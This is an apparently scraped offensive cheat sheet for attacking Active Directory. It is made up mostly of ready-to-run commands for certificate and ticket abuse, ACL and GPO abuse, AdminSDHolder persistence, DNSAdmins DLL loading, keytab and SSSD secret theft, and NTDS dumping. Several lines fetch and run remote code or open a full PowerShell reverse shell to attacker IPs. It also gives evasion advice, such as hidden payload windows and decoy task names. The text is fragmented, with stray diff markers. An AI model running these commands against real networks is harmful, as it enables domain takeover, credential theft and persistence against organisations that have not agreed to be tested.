+Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
+
+# Grant DCSync rights to an user
+./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
+# To restore
+./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
+
# Base64-encoded PFX certificate (string) (password can be set)
+gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
+
+# PEM certificate (file) + PEM private key (file)
+gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
+
+# PFX certificate (file) + password (string, optionnal)
+gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
+
+# Using Certipy
+certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
+certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
+
Using the UnPAC The Hash method, you can retrieve the NT Hash for an User via its certificate.
+# Obtain a TGT by validating a PKINIT pre-authentication
+$ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
+
+# Use the session key to recover the NT hash
+$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
+
An Access Control Entry (ACE) is a specific permission granted or denied to a user or group for a particular resource, such as a file or directory. Each ACE defines the type of access allowed (e.g., read, write, execute) or denied.
+An Access Control List (ACL) is a collection of Access Control Entries (ACEs) associated with a resource.
+Check ACL for an User with ADACLScanner. +
+Automate ACL exploit Invoke-ACLPwn: +
+We can set a SPN on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.
+# Check for interesting permissions on accounts:
+bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get writable --otype USER --right WRITE --detail | egrep -i 'distinguishedName|servicePrincipalName'
+
+# Check if current user has already an SPN setted:
+bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get object <UserName> --attr serviceprincipalname
+
+# Force set the SPN on the account: Targeted Kerberoasting
+bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object <UserName> serviceprincipalname -v 'ops/whatever1'
+
+# Grab the ticket
+GetUsersSPNs.py -dc-ip 10.10.10.10 'attack.lab/john.doe:Password123*' -request-user <UserName>
+
+# Remove the SPN
+bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object <UserName> serviceprincipalname
+
# Check for interesting permissions on accounts:
+Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
+
+# Check if current user has already an SPN setted:
+PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname
+
+# Force set the SPN on the account: Targeted Kerberoasting
+PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
+PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalname='any/thing'}
+
+# Grab the ticket
+PowerView2 > $User = Get-DomainUser username
+PowerView2 > $User | Get-DomainSPNTicket | fl
+PowerView2 > $User | Select serviceprincipalname
+
+# Remove the SPN
+PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
+
We can change a victim's userAccountControl to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
+# Modify the userAccountControl
+$ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] add uac [Target_User] -f DONT_REQ_PREAUTH
+
+# Grab the ticket
+$ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
+
+# Set back the userAccountControl
+$ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] remove uac [Target_User] -f DONT_REQ_PREAUTH
+
# Modify the userAccountControl
+PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
+PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
+
+# Grab the ticket
+PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
+ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username
+
+# Set back the userAccountControl
+PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
+PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
+
Reset another user's password.
+# https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
+$user = 'DOMAIN\user1';
+$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
+$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
+$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
+Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
+
WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script :
+++Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.
+This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/
+
The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable. +* Windows/Linux: +
bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSInitialProgram -v '\\1.2.3.4\share\file.exe'
+bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSWorkDirectory -v 'C:\'
+
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
+$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
+$UserObject.TerminalServicesWorkDirectory = "C:\"
+$UserObject.SetInfo()
+
NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.
+To abuse WriteDacl
to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All
.
WriteDACL on Domain:
+# Give DCSync right to the principal identity
+Import-Module .\PowerView.ps1
+$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
+Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local
+
WriteDACL on Group:
+An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they wants. +* Windows/Linux: +
bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' set owner target_object devil_user1
+
This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.
+An attacker can read the LAPS password of the computer account this ACE applies to. +* Windows/Linux: +
bloodyAD -u john.doe -d bloody.lab -p Password512 --host 192.168.10.2 get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
+
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
+
An attacker can read the GMSA password of the account this ACE applies to. +* Windows/Linux: +
bloodyAD -u john.doe -d bloody -p Password512 --host 192.168.10.2 get object 'gmsaAccount$' --attr msDS-ManagedPassword
+
# Save the blob to a variable
+$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
+$mp = $gmsa.'msDS-ManagedPassword'
+
+# Decode the data structure using the DSInternals module
+ConvertFrom-ADManagedPasswordBlob $mp
+
An attacker can change the password of the user this ACE applies to: +* Windows/Linux: +
# Using bloodyAD with pass-the-hash
+bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password target_user target_newpwd
+
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
+
# Using rpcclient from the Samba software suite
+rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
+
Access rights granted on Organizational Units can be exploited to compromise all the objects that are contained in it.
+A user having the GenericAll
right (and thus WriteDACL
permissions) over an OU could add a FullControl
ACE to the OU and specify that this ACE should be inherited, which will effectively lead to the compromise of all child objects since they will inherit said ACE.
Grant Full Control
on SERVERS OU
+
Verify that we have Full Control
ACL on AD01-SRV1 inside SERVERS
+
ACE inheritance from parent objects is disabled for adminCount=1
Requirements:
+GenericWrite
OR Manage Group Policy
linksAttack's Flow: gPLink -> Attacker GPC FQDN -> GPT configuration files in Attacker SMB share -> execute a malicious scheduled task
+gPLink
value to include a GPC FQDN pointing the attacker machineExploit:
+Check this blog post from Synacktiv to correctly setup all the requirements for this attack to succeeded.
+sudo python3 OUned.py --config config.ini
+sudo python3 OUned.py --config config.example.ini --just-coerce
+
Use the appropriate data collector to gather information for BloodHound or BloodHound Community Edition (CE) across various platforms.
+Examples:
+Use BloodHoundAD/AzureHound (more info: Cloud - Azure Pentest)
+Use BloodHoundAD/SharpHound.exe - run the collector on the machine using SharpHound.exe +
.\SharpHound.exe -c all -d active.htb --searchforest
+.\SharpHound.exe -c all,GPOLocalGroup # all collection doesn't include GPOLocalGroup by default
+.\SharpHound.exe --CollectionMethod DCOnly # only collect from the DC, doesn't query the computers (more stealthy)
+
+.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --JSONFolder <PathToFile>
+.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --domaincontroller 10.10.10.100 -d active.htb
+
+.\SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\Windows\Temp --prettyprint --randomfilenames --collectallproperties --throttle 10000 --jitter 23 --outputprefix internalallthething
+
# Windows with GSSAPI session
+rusthound.exe -d domain.local --ldapfqdn domain
+# Windows/Linux simple bind connection username:password
+rusthound.exe -d domain.local -u user@domain.local -p Password123 -o output -z
+# Linux with username:password and ADCS module for @ly4k BloodHound version
+rusthound -d domain.local -u 'user@domain.local' -p 'Password123' -o /tmp/adcs --adcs -z
+
--buildcache: Only build cache and not perform further actions
+--bhdump: Dump BloodHound data
+--certdump: Dump AD Certificate Services (ADCS) data
+--dnsdump: Dump AD Integrated DNS data
+
+SOAPHound.exe --buildcache -c c:\temp\cache.txt
+SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output
+SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output --autosplit --threshold 1000
+SOAPHound.exe -c c:\temp\cache.txt --certdump -o c:\temp\bloodhound-output
+SOAPHound.exe --dnsdump -o c:\temp\dns-output
+
Then import the zip/json files into the Neo4J database and query them.
+root@payload$ apt install bloodhound
+
+# start BloodHound and the database
+root@payload$ neo4j console
+# or use docker
+root@payload$ docker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/bloodhound -v $(pwd)/neo4j:/data neo4j:4.4-community
+
+root@payload$ ./bloodhound --no-sandbox
+Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
+
NOTE: Currently BloodHound Community Edition is still a work in progress, it is highly recommended to stay on the original BloodHoundAD/BloodHound version.
+git clone https://github.com/SpecterOps/BloodHound
+cd examples/docker-compose/
+cat docker-compose.yml | docker compose -f - up
+# UI: http://localhost:8080/ui/login
+# Username: admin
+# Password: see your Docker logs
+
You can add some custom queries like :
+Replace the customqueries.json file located at /home/username/.config/bloodhound/customqueries.json
or C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json
.
Get-NetDomain
Get-NetDomain -Domain <DomainName>
Get-DomainSID
Get-NetUser
+Get-NetUser -SamAccountName <user>
+Get-NetUser | select cn
+Get-UserProperty
+
+#Check last password change
+Get-UserProperty -Properties pwdlastset
+
+#Get a specific "string" on a user's attribute
+Find-UserField -SearchField Description -SearchTerm "wtver"
+
+#Enumerate user logged on a machine
+Get-NetLoggedon -ComputerName <ComputerName>
+
+#Enumerate Session Information for a machine
+Get-NetSession -ComputerName <ComputerName>
+
+#Enumerate domain machines of the current/specified domain where specific users are logged into
+Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
+
Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName>
+
+#Enumerate the members of a specified group of the domain
+Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty Member
+
+#Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
+Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
+
# Returns the ACLs associated with the specified account
+Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
+Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
+
+#Search for interesting ACEs
+Invoke-ACLScanner -ResolveGUIDs
+
+#Check the ACLs associated with a specified path (e.g smb share)
+Get-PathAcl -Path "\\Path\Of\A\Share"
+
#Finds all machines on the current domain where the current user has local admin access
+Find-LocalAdminAccess -Verbose
+
+#Find local admins on all machines of the domain:
+Invoke-EnumerateLocalAdmin -Verbose
+
+#Find computers were a Domain Admin OR a specified user has a session
+Invoke-UserHunter
+Invoke-UserHunter -GroupName "RDPUsers"
+Invoke-UserHunter -Stealth
+
+#Confirming admin access:
+Invoke-UserHunter -CheckAccess
+
Get-ADDomain
Get-ADDomain -Identity <Domain>
Get-DomainSID
Sometimes you need to find a machine where a specific user is logged in.
+You can remotely query every machines on the network to get a list of the users's sessions.
Enumerate users from the Domain Controllers.
+Using netexec
+
netexec smb 10.10.11.231 -u guest -p '' --rid-brute 10000 --log rid-brute.txt
+SMB 10.10.11.231 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
+SMB 10.10.11.231 445 DC01 [+] rebound.htb\guest:
+SMB 10.10.11.231 445 DC01 498: rebound\Enterprise Read-only Domain Controllers (SidTypeGroup)
+SMB 10.10.11.231 445 DC01 500: rebound\Administrator (SidTypeUser)
+SMB 10.10.11.231 445 DC01 501: rebound\Guest (SidTypeUser)
+SMB 10.10.11.231 445 DC01 502: rebound\krbtgt (SidTypeUser)
+
Using Impacket script lookupsid.py +
+++Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
+
GPO Priorization : Organization Unit > Domain > Site > Local
+GPO are stored in the DC in \\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\
, inside two folders User and Machine.
+If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at Machine\Preferences\ScheduledTasks
.
Domain members refresh group policy settings every 90 minutes with a random offset of 0 to 30 minutes but it can locally be forced with the following command: gpupdate /force
.
Look a GPLink where you have the Write right.
+Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}
+
# Build and configure SharpGPOAbuse
+$ git clone https://github.com/FSecureLABS/SharpGPOAbuse
+$ Install-Package CommandLineParser -Version 1.9.3.15
+$ ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll
+
+# Adding User Rights
+.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
+
+# Adding a Local Admin
+.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
+
+# Configuring a User or Computer Logon Script
+.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
+
+# Configuring a Computer or User Immediate Task
+# /!\ Intended to "run once" per GPO refresh, not run once per system
+.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
+.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments "/c powershell.exe -nop -w hidden -enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force
+
PS> . .\PowerGPOAbuse.ps1
+
+# Adding a localadmin
+PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
+
+# Assign a new right
+PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
+
+# Adding a New Computer/User script
+PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'
+
+# Create an immediate task
+PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User -GPOIdentity 'SuperSecureGPO'
+
$ git clone https://github.com/Hackndo/pyGPOAbuse
+
+# Add john user to local administrators group (Password: H4x00r123..)
+./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
+
+# Reverse shell example
+./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \
+ -powershell \
+ -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
+ -taskname "Completely Legit Task" \
+ -description "Dis is legit, pliz no delete" \
+ -user
+
# Enumerate GPO
+Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
+
+# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
+New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force
+
# Add a local administrator
+StandIn.exe --gpo --filter Shards --localadmin user002
+
+# Set custom right to a user
+StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"
+
+# Execute a custom command
+StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"
+
If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System
or set "dminCount
attribute to 0
for the required object.
++The AdminCount attribute is set to
+1
automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).
Find users with AdminCount=1
.
netexec ldap 10.10.10.10 -u username -p password --admin-count
+# or
+bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get search --filter '(admincount=1)' --attr sAMAccountName
+# or
+python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10
+jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
+# or
+Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
+Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
+# or
+([adsisearcher]"(AdminCount=1)").findall()
+
++The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.
+
If you modify the permissions of AdminSDHolder, that permission template will be pushed out to all protected accounts automatically by SDProp
(in an hour).
+E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.
+* Windows/Linux:
+
bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 add genericAll 'CN=AdminSDHolder,CN=System,DC=example,DC=lab' john
+
+# Clean up after
+bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 remove genericAll 'CN=AdminSDHolder,CN=System,DC=example,DC=lab' john
+
# Add a user to the AdminSDHolder group:
+Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose
+
+# Right to reset password for toto using the account titi
+Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword
+
+# Give all rights
+Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All
+
++It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).
+
Require privileges to restart the DNS service.
+# with RSAT
+dnscmd <servername> /config /serverlevelplugindll \\attacker_IP\dll\mimilib.dll
+dnscmd 10.10.10.11 /config /serverlevelplugindll \\10.10.10.10\exploit\privesc.dll
+
+# with DNSServer module
+$dnsettings = Get-DnsServerSetting -ComputerName <servername> -Verbose -All
+$dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll"
+Set-DnsServerSetting -InputObject $dnsettings -ComputerName <servername> -Verbose
+
++The Schema Admins group is a security group in Microsoft Active Directory that provides its members with the ability to make changes to the schema of an Active Directory forest. The schema defines the structure of the Active Directory database, including the attributes and object classes that are used to store information about users, groups, computers, and other objects in the directory.
+
++Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to and shut down the computer. This group cannot be renamed, deleted, or moved. By default, this built-in group has no members, and it can perform backup and restore operations on domain controllers.
+
This groups grants the following privileges : +- SeBackup privileges +- SeRestore privileges
+.\BackupOperatorToDA.exe -t \\dc1.lab.local -u user -p pass -d domain -o \\10.10.10.10\SHARE\
.\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK
++When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
+
List the current ticket used for authentication with env | grep KRB5CCNAME
. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache
. Kerberos ticket name format is krb5cc_%{uid}
where uid is the user UID.
$ ls /tmp/ | grep krb5cc
+krb5cc_1000
+krb5cc_1569901113
+krb5cc_1569901115
+
+$ export KRB5CCNAME=/tmp/krb5cc_1569901115
+
Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey
+# Configuration and build
+git clone https://github.com/TarlogicSecurity/tickey
+cd tickey/tickey
+make CONF=Release
+
+[root@Lab-LSV01 /]# /tmp/tickey -i
+[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
+[+] root detected, so... DUMP ALL THE TICKETS!!
+[*] Trying to inject in tarlogic[1000] session...
+[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
+[*] Trying to inject in velociraptor[1120601115] session...
+[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
+[*] Trying to inject in trex[1120601113] session...
+[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
+[X] [uid:0] Error retrieving tickets
+
System Security Services Daemon (SSSD) maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb
.
+The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey
.
+By default, the key is only readable if you have root permissions.
Invoking SSSDKCMExtractor
with the --database and --key parameters will parse the database and decrypt the secrets.
git clone https://github.com/fireeye/SSSDKCMExtractor
+python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
+
The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.
+git clone https://github.com/its-a-feature/KeytabParser
+python KeytabParser.py /etc/krb5.keytab
+klist -k /etc/krb5.keytab
+
The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.
+Use klist
to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
+[...]
+[26] Service principal: host/COMPUTER@DOMAIN
+ KVNO: 25
+ Key type: 23
+ Key: 31d6cfe0d16ae931b73c59d7e0c089c0
+ Time stamp: Oct 07, 2019 09:12:02
+[...]
+
On Linux you can use KeyTabExtract
: we want RC4 HMAC hash to reuse the NLTM hash.
$ python3 keytabextract.py krb5.keytab
+[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
+[+] Keytab File successfully imported.
+ REALM : DOMAIN
+ SERVICE PRINCIPAL : host/computer.domain
+ NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
+
On macOS you can use bifrost
.
Connect to the machine using the account and the hash with CME.
+$ netexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
+ 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0
+
++sss_obfuscate converts a given password into human-unreadable format and places it into appropriate domain section of the SSSD config file, usually located at /etc/sssd/sssd.conf
+
The obfuscated password is put into "ldap_default_authtok" parameter of a given SSSD domain and the "ldap_default_authtok_type" parameter is set to "obfuscated_password".
+[sssd]
+config_file_version = 2
+...
+[domain/LDAP]
+...
+ldap_uri = ldap://127.0.0.1
+ldap_search_base = ou=People,dc=srv,dc=world
+ldap_default_authtok_type = obfuscated_password
+ldap_default_authtok = [BASE64_ENCODED_TOKEN]
+
De-obfuscate the content of the ldap_default_authtok variable with mludvig/sss_deobfuscate
+./sss_deobfuscate [ldap_default_authtok_base64_encoded]
+./sss_deobfuscate AAAQABagVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID
+
Requirements:
+krb5_store_password_if_offline = True
in /etc/sssd/sssd.conf
Exploit:
+When krb5_store_password_if_offline
is enabled, the AD password is stored plaintext.
[domain/domain.local]
+cache_credentials = True
+ipa_domain = domain.local
+id_provider = ipa
+auth_provider = ipa
+access_provider = ipa
+chpass_provider = ipa
+ipa_server = _srv_, server.domain.local
+krb5_store_password_if_offline = true
+
Grab the PID of the SSSD process and hook it in gdb
. Then list the process keyrings.
From the /tmp/output
locate the key_id
for the user you want.
Session Keyring
+ 237034099 --alswrv 0 0 keyring: _ses
+ 689325199 --alswrv 0 0 \_ user: user@domain.local
+
Back to GDB:
+ +You will need the following files to extract the ntds :
+- NTDS.dit file
+- SYSTEM hive (C:\Windows\System32\SYSTEM
)
Usually you can find the ntds in two locations : systemroot\NTDS\ntds.dit
and systemroot\System32\ntds.dit
.
systemroot\NTDS\ntds.dit
stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).systemroot\System32\ntds.dit
is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.However you can change the location to a custom one, you will need to query the registry to get the current location.
+ +DCSync is a technique used by attackers to obtain sensitive information, including password hashes, from a domain controller in an Active Directory environment. Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.
+++OPSEC NOTE: Replication is always done between 2 Computers. Doing a DCSync from a user account can raise alerts.
+
The VSS is a Windows service that allows users to create snapshots or backups of their data at a specific point in time. Attackers can abuse this service to access and copy sensitive data, even if it is currently being used or locked by another process.
+A good method for avoiding or reducing detections involves using common forensic tools to dump the NTDS.dit file and the SYSTEM hive. By utilizing widely recognized and legitimate forensic software, the process can be conducted more discreetly and with a lower risk of triggering security alerts.
+SYSTEM
hive
+ File
-> Add Evidence Item
-> Physical Drive
-> Select the C drive
.C:\Windows\NTDS\ntds.dit
